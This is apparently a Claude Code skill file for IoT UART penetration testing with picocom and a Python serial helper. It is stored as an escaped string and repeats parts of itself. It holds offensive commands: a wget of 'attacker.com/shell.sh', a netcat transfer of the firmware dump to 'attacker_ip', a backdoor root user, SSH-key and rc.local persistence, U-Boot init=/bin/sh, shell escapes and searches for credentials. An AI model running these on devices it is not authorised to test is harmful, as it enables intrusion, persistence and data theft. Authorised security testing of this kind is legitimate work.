everything**: Take notes on commands, responses, and findings\n3. **Be patient**: Some devices are slow and may take time to respond\n4. **Check baud rate**: Wrong baud rate = garbage output. Try common rates if you see garbled text\n5. **Research the device**: Look up known vulnerabilities, default credentials, and common issues\n6. **Use proper authorization**: Only perform pentesting on devices you own or have explicit permission to test\n7. **Backup**: If possible, backup firmware before making modifications\n8. **Be careful with bootloader**: Incorrect bootloader commands can brick devices\n\n## Troubleshooting\n\n**Problem: Garbled text or strange characters**\n- Solution: Wrong baud rate. Try 115200, 57600, 38400, 19200, 9600\n\n**Problem: No output at all**\n- Solution: Check physical connections, try pressing Enter, check if device is powered on\n\n**Problem: \"Device busy\" or \"Permission denied\"**\n- Solution: Close other programs using the serial port, check user permissions (`sudo usermod -a -G dialout $USER`)\n\n**Problem: Commands not echoing**\n- Solution: Enable local echo with `--echo` flag or press `Ctrl-A Ctrl-T` in picocom\n\n**Problem: Wrong line endings (extra lines or no line breaks)**\n- Solution: Use `--omap crlf` or `--imap lfcrlf` options\n\n## Example Usage\n\n```bash\n# Basic connection (using defaults)\npicocom -b 115200 --nolock --echo --omap crlf \u002Fdev\u002FttyUSB0\n\n# Connection with logging\npicocom -b 115200 --nolock --echo --logfile iot_pentest.log \u002Fdev\u002FttyUSB0\n\n# Quiet mode (suppress picocom messages)\npicocom -b 115200 --nolock -q --echo \u002Fdev\u002FttyUSB0\n\n# Run in background for scripted interaction\npicocom -b 115200 --nolock \u002Fdev\u002FttyUSB0 &\n# Then use BashOutput to monitor\n```\n\n## References\n\n- [picocom documentation](https:\u002F\u002Fgithub.com\u002Fnpat-efault\u002Fpicocom)\n- [U-Boot documentation](https:\u002F\u002Fu-boot.readthedocs.io\u002F)\n- IoT pentesting resources and vulnerability databases\n- Device-specific documentation and datasheets\n","# IoT UART Console (picocom)\n\nThis skill enables interaction with IoT device UART consoles using picocom for security testing and penetration testing operations. It supports bootloader interaction, shell access (with or without authentication), device enumeration, and vulnerability discovery.\n\n## Prerequisites\n\n- picocom must be installed on the system\n- Python 3 with pyserial library (`sudo pacman -S python-pyserial` on Arch, or `pip install pyserial`)\n- UART connection to the target device (USB-to-serial adapter, FTDI cable, etc.)\n- Appropriate permissions to access serial devices (typically \u002Fdev\u002FttyUSB* or \u002Fdev\u002FttyACM*)\n\n## Recommended Approach: Serial Helper Script\n\n**IMPORTANT**: This skill includes a Python helper script (`serial_helper.py`) that provides a clean, reliable interface for serial communication. **This is the RECOMMENDED method** for interacting with IoT devices.\n\n### Default Session Logging\n\n**ALL commands run by Claude will be logged to `\u002Ftmp\u002Fserial_session.log` by default.**\n\nTo observe what Claude is doing in real-time:\n```bash\n# In a separate terminal, run:\ntail -f \u002Ftmp\u002Fserial_session.log\n```\n\nThis allows you to watch all serial I\u002FO as it happens without interfering with the connection.\n\n### Why Use the Serial Helper?\n\nThe helper script solves many problems with direct picocom usage:\n- **Clean output**: Automatically removes command echoes, prompts, and ANSI codes\n- **Prompt detection**: Automatically detects and waits for device prompts\n- **Timeout handling**: Proper timeout management with no arbitrary sleeps\n- **Easy scripting**: Simple command-line interface for single commands or batch operations\n- **Session logging**: All I\u002FO logged to `\u002Ftmp\u002Fserial_session.log` for observation\n- **Reliable**: No issues with TTY requirements or background processes\n\n### Quick Start with Serial Helper\n\n**Single Command:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\"\n```\n\n**With Custom Prompt (recommended for known devices):**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --prompt \"User@[^>]+>\" --command \"ifconfig\"\n```\n\n**Interactive Mode:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --interactive\n```\n\n**Batch Commands from File:**\n```bash\n# Create a file with commands (one per line)\necho -e \"help\\ndate\\nifconfig\\nps\" > commands.txt\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --script commands.txt\n```\n\n**JSON Output (for parsing):**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\" --json\n```\n\n**Debug Mode:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py --device \u002Fdev\u002FttyUSB0 --command \"help\" --debug\n```\n\n**Session Logging (for observation):**\n```bash\n# Terminal 1 - Run with logging\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --prompt \"User@[^>]+>\" \\\n  --logfile \u002Ftmp\u002Fsession.log \\\n  --interactive\n\n# Terminal 2 - Watch the session in real-time\ntail -f \u002Ftmp\u002Fsession.log\n```\n\n**Note:** See `OBSERVING_SESSIONS.md` for comprehensive guide on monitoring serial sessions.\n\n### Monitor Mode (Passive Listening)\n\n**NEW FEATURE**: Monitor mode is designed for passive UART monitoring where the device outputs logs without prompts or interaction.\n\n**Use cases:**\n- Monitoring boot logs from devices without interactive consoles\n- Capturing triggered output when external actions are performed\n- Testing if network requests or hardware events generate UART logs\n- Baseline vs triggered output comparison\n\n**Basic passive monitoring:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 30 \\\n  --logfile \u002Ftmp\u002Fuart.log\n```\n\n**Monitor with external trigger script:**\n```bash\n# Run external script after 5 seconds and capture triggered UART output\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 60 \\\n  --trigger-script \"python3 \u002Fpath\u002Fto\u002Ftest_script.py\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Ftriggered_uart.log\n```\n\n**Monitor with baseline capture:**\n```bash\n# Capture 10s baseline, run trigger at 15s, continue for total 60s\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 60 \\\n  --trigger-script \"curl http:\u002F\u002F192.168.1.100\u002Fapi\u002Freboot\" \\\n  --trigger-delay 15 \\\n  --baseline-duration 10 \\\n  --logfile \u002Ftmp\u002Freboot_monitor.log\n```\n\n**Monitor mode options:**\n- `--duration SECONDS` - Total monitoring time (default: 30)\n- `--trigger-script CMD` - External command\u002Fscript to run during monitoring\n- `--trigger-delay SECONDS` - When to run trigger (default: 5)\n- `--baseline-duration SECONDS` - Capture baseline before trigger (default: 0)\n- `--logfile FILE` - Log all I\u002FO to file\n- `--json` - Output results in JSON format\n\n**Output includes:**\n- Real-time timestamped console output\n- Baseline vs trigger vs post-trigger categorization\n- Trigger script exit code and output\n- Summary statistics (bytes captured in each phase)\n- Timeline with all captured data\n\n### Serial Helper Options\n\n```\nRequired (one of):\n  --command, -c CMD         Execute single command\n  --interactive, -i         Enter interactive mode\n  --script, -s FILE         Execute commands from file\n  --monitor, -m             Passive monitoring mode (just listen, no commands)\n\nConnection Options:\n  --device, -d DEV          Serial device (default: \u002Fdev\u002FttyUSB0)\n  --baud, -b RATE           Baud rate (default: 115200)\n  --timeout, -t SECONDS     Command timeout (default: 3.0)\n  --prompt, -p PATTERN      Custom prompt regex pattern\n  --at-mode, -a             AT command mode for cellular\u002Fsatellite modems\n\nMonitor Mode Options:\n  --duration SECONDS        Monitoring duration (default: 30.0)\n  --trigger-script CMD      External script\u002Fcommand to run during monitoring\n  --trigger-delay SECONDS   Seconds before running trigger (default: 5.0)\n  --baseline-duration SEC   Baseline capture duration (default: 0.0)\n\nOutput Options:\n  --raw, -r                 Don't clean output (show echoes, prompts)\n  --json, -j                Output in JSON format\n  --logfile, -l FILE        Log all I\u002FO to file (can tail -f in another terminal)\n  --debug                   Show debug information\n```\n\n### Common Prompt Patterns\n\nThe helper script includes common prompt patterns, but you can specify custom ones:\n\n```bash\n# Uniview camera\n--prompt \"User@[^>]+>\"\n\n# Standard root\u002Fuser prompts\n--prompt \"[#\\$]\\s*$\"\n\n# U-Boot bootloader\n--prompt \"=>\\s*$\"\n\n# Custom device\n--prompt \"MyDevice>\"\n```\n\n### AT Command Mode (Cellular\u002FSatellite Modems)\n\n**IMPORTANT**: When interacting with AT command interfaces (cellular modems, satellite modems, GPS modules), use the `--at-mode` flag. AT interfaces do NOT use shell prompts - they respond with `OK`, `ERROR`, or specific result codes.\n\n**When to use AT mode:**\n- Cellular modems (Quectel, Sierra Wireless, u-blox, SIMCom, Telit)\n- Satellite modems (Iridium, Globalstar)\n- GPS modules with AT interface\n- Any device that responds to AT commands with OK\u002FERROR\n\n**Basic AT command usage:**\n```bash\n# Single AT command\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"AT\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n\n# Get modem info\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"ATI\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n\n# Get IMEI\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --command \"AT+CGSN\" \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**AT mode enumeration example:**\n```bash\nHELPER=\"python3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py\"\nDEVICE=\"\u002Fdev\u002FttyUSB0\"\nLOGFILE=\"\u002Ftmp\u002Fserial_session.log\"\n\n# Basic connectivity test\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT\"\n\n# Device identification\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"ATI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMM\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGMR\"\n\n# SIM and network info\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CGSN\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CIMI\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CCID\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CSQ\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+CREG?\"\n$HELPER --device $DEVICE --at-mode --logfile \"$LOGFILE\" --command \"AT+COPS?\"\n```\n\n**Batch AT commands from file:**\n```bash\n# Create AT command script\ncat > at_enum.txt \u003C\u003C 'EOF'\nAT\nATI\nAT+CGMI\nAT+CGMM\nAT+CGMR\nAT+CGSN\nAT+CSQ\nAT+CREG?\nAT+COPS?\nEOF\n\n# Execute batch\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --script at_enum.txt \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**Interactive AT session:**\n```bash\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --at-mode \\\n  --interactive \\\n  --logfile \u002Ftmp\u002Fserial_session.log\n```\n\n**AT mode response handling:**\n- `OK` - Command succeeded\n- `ERROR` - Command failed (generic)\n- `+CME ERROR: \u003Ccode>` - Mobile equipment error with code\n- `+CMS ERROR: \u003Ccode>` - SMS-related error with code\n- `NO CARRIER` - Connection lost\u002Ffailed\n- `CONNECT` - Data connection established\n\n**Common AT command categories for pentesting:**\n```bash\n# Network and connectivity\nAT+CGDCONT?     # PDP context (APN settings)\nAT+QIOPEN       # Open socket (Quectel)\nAT+QISTATE?     # Socket state (Quectel)\n\n# Device management\nAT+CFUN?        # Phone functionality\nAT+CPIN?        # SIM PIN status\nAT+CLCK         # Facility lock (SIM lock status)\n\n# Firmware and updates\nAT+CGMR         # Firmware version\nAT+QGMR         # Extended firmware info (Quectel)\n\n# Debug\u002Fengineering modes (may expose sensitive info)\nAT+QENG         # Engineering mode (Quectel)\nAT$QCPWD        # Password commands (Qualcomm)\n```\n\n### Device Enumeration Example with Serial Helper\n\nHere's a complete example of safely enumerating a device:\n\n```bash\n# Set variables for convenience\nHELPER=\"python3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py\"\nDEVICE=\"\u002Fdev\u002FttyUSB0\"\nPROMPT=\"User@[^>]+>\"  # Adjust for your device\nLOGFILE=\"\u002Ftmp\u002Fserial_session.log\"\n\n# Get available commands\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"help\"\n\n# System information\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"date\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"runtime\"\n\n# Network configuration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ifconfig\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"route\"\n\n# Process listing (may need longer timeout)\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --timeout 5 --command \"ps\"\n\n# File system exploration\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"ls \u002Fetc\"\n\n# Device identifiers\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"getudid\"\n$HELPER --device $DEVICE --prompt \"$PROMPT\" --logfile \"$LOGFILE\" --command \"catmwarestate\"\n```\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Fserial_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Fserial_session.log`.\n\n### Pentesting Use Case: Trigger-Based UART Analysis\n\nA common IoT pentesting scenario: testing if network requests, API calls, or hardware events trigger debug output on UART.\n\n**Example: Testing if API requests generate UART logs**\n```bash\n# Monitor UART while sending network request\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 30 \\\n  --trigger-script \"curl -X POST http:\u002F\u002F192.168.1.100\u002Fapi\u002Fupdate\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Fapi_test.log\n\n# Review what the device logged when API was called\ncat \u002Ftmp\u002Fapi_test.log\n```\n\n**Example: Testing authentication attempts**\n```bash\n# Monitor UART during login attempts\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 45 \\\n  --trigger-script \"python3 brute_force_login.py\" \\\n  --trigger-delay 10 \\\n  --baseline-duration 5 \\\n  --logfile \u002Ftmp\u002Fauth_test.log \\\n  --json > \u002Ftmp\u002Fauth_results.json\n```\n\n**Example: Boot sequence analysis**\n```bash\n# Capture device boot logs (reboot via network API)\npython3 .claude\u002Fskills\u002Fpicocom\u002Fserial_helper.py \\\n  --device \u002Fdev\u002FttyUSB0 \\\n  --monitor \\\n  --duration 120 \\\n  --trigger-script \"curl http:\u002F\u002F192.168.1.100\u002Fapi\u002Freboot\" \\\n  --trigger-delay 5 \\\n  --logfile \u002Ftmp\u002Fboot_sequence.log\n```\n\n**Why this is useful for pentesting:**\n- Devices often leak sensitive info (passwords, keys, paths) in UART logs\n- Debug output may reveal internal API endpoints or protocols\n- Error messages can expose vulnerabilities\n- Boot logs show secure boot status, loaded modules, and filesystem paths\n- Authentication attempts may log usernames\u002Ftokens in cleartext\n\n**IMPORTANT FOR CLAUDE CODE**: When using this skill, ALWAYS include `--logfile \u002Ftmp\u002Fserial_session.log` in every command so the user can monitor activity with `tail -f \u002Ftmp\u002Fserial_session.log`.\n\n## Alternative: Direct picocom Usage (Advanced)\n\nIf you need direct picocom access (e.g., for bootloader interaction during boot), you can use picocom directly. However, this is more complex and error-prone.\n\n## Instructions\n\n### 1. Connection Setup\n\n**CRITICAL**: picocom runs interactively and CANNOT be controlled via standard stdin\u002Fstdout pipes. Use the following approach:\n\n1. **Always run picocom in a background shell** using `run_in_background: true`\n2. **Monitor output** using the BashOutput tool to read responses\n3. **Send commands** by using `Ctrl-A Ctrl-S` to enter send mode, or by writing to the device file directly\n\n**Default connection command:**\n```bash\npicocom -b 115200 --nolock --omap crlf --echo \u002Fdev\u002FttyUSB0\n```\n\n**Defaults (unless specified otherwise):**\n- **Baud rate**: 115200 (most common for IoT devices)\n- **Device**: \u002Fdev\u002FttyUSB0 (most common USB-to-serial adapter)\n- **Always use `--nolock`**: Prevents file locking issues unless user specifically requests otherwise\n\n**Alternative baud rates** (if 115200 doesn't work):\n- 57600\n- 38400\n- 19200\n- 9600\n- 230400 (less common, high-speed)\n\n**Alternative device paths:**\n- \u002Fdev\u002FttyUSB0, \u002Fdev\u002FttyUSB1, \u002Fdev\u002FttyUSB2, ... (USB-to-serial adapters)\n- \u002Fdev\u002FttyACM0, \u002Fdev\u002FttyACM1, ... (USB CDC devices)\n- \u002Fdev\u002FttyS0, \u002Fdev\u002FttyS1, ... (built-in serial ports)\n\n**Essential picocom options:**\n- `-b` or `--baud`: Set baud rate (use 115200 by default)\n- `--nolock`: Disable file locking (ALWAYS use unless user asks not to)\n- `--omap crlf`: Map output CR to CRLF (helps with formatting)\n- `--echo`: Enable local echo (see what you type)\n- `--logfile \u003Cfile>`: Log all session output to a file (recommended)\n- `-q` or `--quiet`: Suppress picocom status messages\n- `--imap lfcrlf`: Map LF to CRLF on input (sometimes needed)\n\n### 2. Detecting Console State\n\nAfter connecting, you need to identify what state the device is in:\n\n**a) Blank\u002FSilent Console:**\n- Press Enter several times to check for a prompt\n- Try Ctrl-C to interrupt any running processes\n- If still nothing, the device may be in bootloader waiting state - try space bar or other bootloader interrupt keys\n\n**b) Bootloader (U-Boot, etc.):**\n- Look for prompts like `U-Boot>`, `=>`, `uboot>`, `Boot>`\n- Bootloaders often have a countdown that can be interrupted\n- Common interrupt keys: Space, Enter, specific keys mentioned in boot messages\n\n**c) Login Prompt:**\n- Look for `login:` or `username:` prompts\n- Common default credentials for IoT devices:\n  - root \u002F root\n  - admin \u002F admin\n  - root \u002F (no password)\n  - admin \u002F password\n  - Check manufacturer documentation or online databases\n\n**d) Shell Access:**\n- You may drop directly into a root shell\n- Look for prompts like `#`, `$`, `>`, or custom prompts\n\n### 2.1. BusyBox Shells (Most IoT Devices)\n\n**IMPORTANT**: The vast majority of IoT devices use BusyBox, a lightweight suite of Unix utilities designed for embedded systems. BusyBox provides a minimal shell environment with limited command functionality.\n\n**Identifying BusyBox:**\n```bash\n# Check what shell you're using\nbusybox\nbusybox --help\n\n# Or check symlinks\nls -la \u002Fbin\u002Fsh\n# Often shows: \u002Fbin\u002Fsh -> \u002Fbin\u002Fbusybox\n\n# List available BusyBox applets\nbusybox --list\n```\n\n**BusyBox Limitations:**\n- Many standard Linux commands may be simplified versions\n- Some common flags\u002Foptions may not be available\n- Features like tab completion may be limited or absent\n- Some exploitation techniques that work on full Linux may not work\n\n**Common BusyBox commands available:**\n```bash\n# Core utilities (usually available)\ncat, ls, cd, pwd, echo, cp, mv, rm, mkdir, chmod, chown\nps, kill, top, free, df, mount, umount\ngrep, find, sed, awk (limited versions)\nifconfig, route, ping, netstat, telnet\nvi (basic text editor - no syntax highlighting)\n\n# Check what's available\nbusybox --list | sort\nls \u002Fbin \u002Fsbin \u002Fusr\u002Fbin \u002Fusr\u002Fsbin\n```\n\n**BusyBox-specific considerations for pentesting:**\n- `ps` output format may differ from standard Linux\n- Some privilege escalation techniques require commands not in BusyBox\n- File permissions still work the same (SUID, sticky bits, etc.)\n- Networking tools are often present (telnet, wget, nc\u002Fnetcat, ftpget)\n- Python\u002FPerl\u002FRuby are usually NOT available (device storage constraints)\n\n**Useful BusyBox commands for enumeration:**\n```bash\n# Check BusyBox version (may have known vulnerabilities)\nbusybox | head -1\n\n# Network utilities often available\nnc -l -p 4444  # Netcat listener\nwget http:\u002F\u002Fattacker.com\u002Fshell.sh\nftpget server file\ntelnet 192.168.1.1\n\n# httpd (web server) often included\nbusybox httpd -p 8080 -h \u002Ftmp  # Quick file sharing\n```\n\n**Reference Documentation:**\n- [BusyBox Official Site](https:\u002F\u002Fbusybox.net\u002F)\n- [BusyBox Command List](https:\u002F\u002Fbusybox.net\u002Fdownloads\u002FBusyBox.html)\n- [BusyBox Source Code](https:\u002F\u002Fgit.busybox.net\u002Fbusybox\u002F)\n\n### 3. Interacting with the Console\n\n**Sending commands to picocom:**\n\nSince picocom is interactive, you have several options:\n\n**Option A: Write directly to the device file**\n```bash\necho \"command\" > \u002Fdev\u002FttyUSB0\n```\n\n**Option B: Use expect or similar tools**\n```bash\nexpect -c \"\n  spawn picocom -b 115200 --nolock \u002Fdev\u002FttyUSB0\n  send \\\"command\\r\\\"\n  expect \\\"#\\\"\n  exit\n\"\n```\n\n**Option C: Use screen instead of picocom (may be easier to script)**\n```bash\nscreen \u002Fdev\u002FttyUSB0 115200\n```\n\n**Picocom keyboard shortcuts:**\n- `Ctrl-A Ctrl-X`: Exit picocom\n- `Ctrl-A Ctrl-Q`: Quit without resetting\n- `Ctrl-A Ctrl-U`: Increase baud rate\n- `Ctrl-A Ctrl-D`: Decrease baud rate\n- `Ctrl-A Ctrl-T`: Toggle local echo\n- `Ctrl-A Ctrl-S`: Send file (can be used to send commands)\n\n### 4. Device Enumeration\n\nOnce you have shell access, gather the following information:\n\n**System Information:**\n```bash\n# Kernel and system info\nuname -a\ncat \u002Fproc\u002Fversion\ncat \u002Fproc\u002Fcpuinfo\ncat \u002Fproc\u002Fmeminfo\n\n# Distribution\u002Ffirmware info\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*release*\ncat \u002Fetc\u002F*version*\n\n# Hostname and network\nhostname\ncat \u002Fetc\u002Fhostname\nifconfig -a\nip addr show\ncat \u002Fetc\u002Fnetwork\u002Finterfaces\ncat \u002Fetc\u002Fresolv.conf\n\n# Mounted filesystems\nmount\ncat \u002Fproc\u002Fmounts\ndf -h\n\n# Running processes\nps aux\nps -ef\ntop -b -n 1\n```\n\n**User and Permission Information:**\n```bash\n# Current user context\nid\nwhoami\ngroups\n\n# User accounts\ncat \u002Fetc\u002Fpasswd\ncat \u002Fetc\u002Fshadow  # If readable - major security issue!\ncat \u002Fetc\u002Fgroup\n\n# Sudo\u002Fprivilege info\nsudo -l\ncat \u002Fetc\u002Fsudoers\n```\n\n**Network Services:**\n```bash\n# Listening services\nnetstat -tulpn\nss -tulpn\nlsof -i\n\n# Firewall rules\niptables -L -n -v\ncat \u002Fetc\u002Fiptables\u002F*\n```\n\n**Interesting Files and Directories:**\n```bash\n# Configuration files\nls -la \u002Fetc\u002F\nfind \u002Fetc\u002F -type f -readable\n\n# Web server configs\nls -la \u002Fetc\u002Fnginx\u002F\nls -la \u002Fetc\u002Fapache2\u002F\nls -la \u002Fvar\u002Fwww\u002F\n\n# Credentials and keys\nfind \u002F -name \"*.pem\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*.key\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*password*\" 2>\u002Fdev\u002Fnull\nfind \u002F -name \"*credential*\" 2>\u002Fdev\u002Fnull\ngrep -r \"password\" \u002Fetc\u002F 2>\u002Fdev\u002Fnull\n\n# SUID\u002FSGID binaries (privilege escalation vectors)\nfind \u002F -perm -4000 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2000 -type f 2>\u002Fdev\u002Fnull\n\n# World-writable files\u002Fdirectories\nfind \u002F -perm -2 -type f 2>\u002Fdev\u002Fnull\nfind \u002F -perm -2 -type d 2>\u002Fdev\u002Fnull\n\n# Development\u002Fdebugging tools\nwhich gdb gcc python perl ruby tcpdump\nls \u002Fusr\u002Fbin\u002F \u002Fbin\u002F \u002Fsbin\u002F \u002Fusr\u002Fsbin\u002F\n```\n\n### 5. Bootloader Exploitation\n\nIf you have access to the bootloader (U-Boot, etc.):\n\n**Common U-Boot commands:**\n```bash\n# Print environment variables\nprintenv\n\n# Modify boot arguments (e.g., init=\u002Fbin\u002Fsh for root shell)\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fsh\"\nsaveenv\nboot\n\n# Alternative: single user mode\nsetenv bootargs \"${bootargs} single\"\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fbash\"\n\n# Boot from network (TFTP) for custom firmware\nsetenv serverip 192.168.1.100\nsetenv ipaddr 192.168.1.200\ntftpboot 0x80000000 custom_image.bin\nbootm 0x80000000\n\n# Memory examination\nmd \u003Caddress>  # Memory display\nmm \u003Caddress>  # Memory modify\nmw \u003Caddress> \u003Cvalue>  # Memory write\n\n# Flash operations\nerase \u003Cstart> \u003Cend>\ncp.b \u003Csource> \u003Cdest> \u003Ccount>\n\n# Other useful commands\nhelp\nbdinfo  # Board info\nversion\nreset\n```\n\n### 6. Privilege Escalation (if not root)\n\n**Check for common vulnerabilities:**\n```bash\n# Kernel exploits\nuname -r  # Check kernel version for known exploits\n\n# Check for exploitable services\nps aux | grep root\n\n# Writable service files\nfind \u002Fetc\u002Finit.d\u002F -writable 2>\u002Fdev\u002Fnull\nfind \u002Flib\u002Fsystemd\u002Fsystem\u002F -writable 2>\u002Fdev\u002Fnull\n\n# Cron jobs\ncrontab -l\nls -la \u002Fetc\u002Fcron*\ncat \u002Fetc\u002Fcrontab\n```\n\n### 7. Persistence and Further Access\n\n**Establish additional access methods:**\n```bash\n# Add SSH access\nmkdir -p \u002Froot\u002F.ssh\necho \"your_ssh_public_key\" >> \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 600 \u002Froot\u002F.ssh\u002Fauthorized_keys\nchmod 700 \u002Froot\u002F.ssh\n\n# Start SSH service (if not running)\n\u002Fetc\u002Finit.d\u002Fssh start\n# or\n\u002Fetc\u002Finit.d\u002Fsshd start\n# or\n\u002Fetc\u002Finit.d\u002Fdropbear start  # Common on embedded devices\n\n# Add a backdoor user\necho \"backdoor:x:0:0::\u002Froot:\u002Fbin\u002Fsh\" >> \u002Fetc\u002Fpasswd\npasswd backdoor\n\n# Add to startup scripts\necho \"\u002Fpath\u002Fto\u002Fbackdoor &\" >> \u002Fetc\u002Frc.local\n```\n\n### 8. Firmware Extraction\n\n**Extract firmware for offline analysis:**\n```bash\n# Find MTD partitions (common on embedded devices)\ncat \u002Fproc\u002Fmtd\ncat \u002Fproc\u002Fpartitions\n\n# Dump flash partitions\ndd if=\u002Fdev\u002Fmtd0 of=\u002Ftmp\u002Fbootloader.bin\ndd if=\u002Fdev\u002Fmtd1 of=\u002Ftmp\u002Fkernel.bin\ndd if=\u002Fdev\u002Fmtd2 of=\u002Ftmp\u002Frootfs.bin\n\n# Copy to external storage or network\n# If network is available:\nnc attacker_ip 4444 \u003C \u002Ftmp\u002Frootfs.bin\n\n# If USB storage is available:\nmount \u002Fdev\u002Fsda1 \u002Fmnt\ncp \u002Ftmp\u002F*.bin \u002Fmnt\u002F\numount \u002Fmnt\n```\n\n### 9. Cleanup and Exit\n\n**To exit picocom:**\n- Press `Ctrl-A` followed by `Ctrl-X`\n- Or use `killall picocom` from another terminal\n\n**If you need to kill the background shell:**\n- Use the KillShell tool with the appropriate shell_id\n\n## Common IoT Device Scenarios\n\n### Scenario 1: No Authentication Shell\n```bash\n# Connect\npicocom -b 115200 --nolock \u002Fdev\u002FttyUSB0\n\n# Press Enter, get root shell immediately\n# Enumerate and exploit\n```\n\n### Scenario 2: Password-Protected Shell\n```bash\n# Connect and see login prompt\n# Try default credentials:\n# - root\u002Froot\n# - admin\u002Fadmin\n# - root\u002F(empty)\n# Search online for device-specific defaults\n```\n\n### Scenario 3: Bootloader to Root Shell\n```bash\n# Interrupt boot countdown (press Space\u002FEnter)\n# Get U-Boot prompt\nsetenv bootargs \"${bootargs} init=\u002Fbin\u002Fsh\"\nboot\n# Get root shell without authentication\n```\n\n### Scenario 4: Limited Shell Escape\n```bash\n# If you get a limited shell:\n# Try common escape techniques:\necho $SHELL\n\u002Fbin\u002Fsh\n\u002Fbin\u002Fbash\nvi  # Then :!\u002Fbin\u002Fsh\nless \u002Fetc\u002Fpasswd  # Then !\u002Fbin\u002Fsh\nfind \u002F -exec \u002Fbin\u002Fsh \\;\nawk 'BEGIN {system(\"\u002Fbin\u002Fsh\")}'\n```\n\n## Security Testing Checklist\n\n- [ ] Identify device and firmware version\n- [ ] Check for default credentials\n- [ ] Enumerate network services and open ports\n- [ ] Check for hardcoded credentials in files\n- [ ] Test for command injection vulnerabilities\n- [ ] Check file permissions (SUID, world-writable)\n- [ ] Test bootloader security (password protection, command restrictions)\n- [ ] Check for outdated software with known CVEs\n- [ ] Test for privilege escalation vectors\n- [ ] Extract firmware for offline analysis\n- [ ] Document all findings with screenshots\u002Flogs\n\n## Best Practices\n\n1. **Always log your session**: Use `--logfile session.log`\n2. **Document everything**: Take notes on commands, responses, and findings\n3. **Be patient**: Some devices are slow and may take time to respond\n4. **Check baud rate**: Wrong baud rate = garbage output. Try common rates if you see garbled text\n5. **Research the 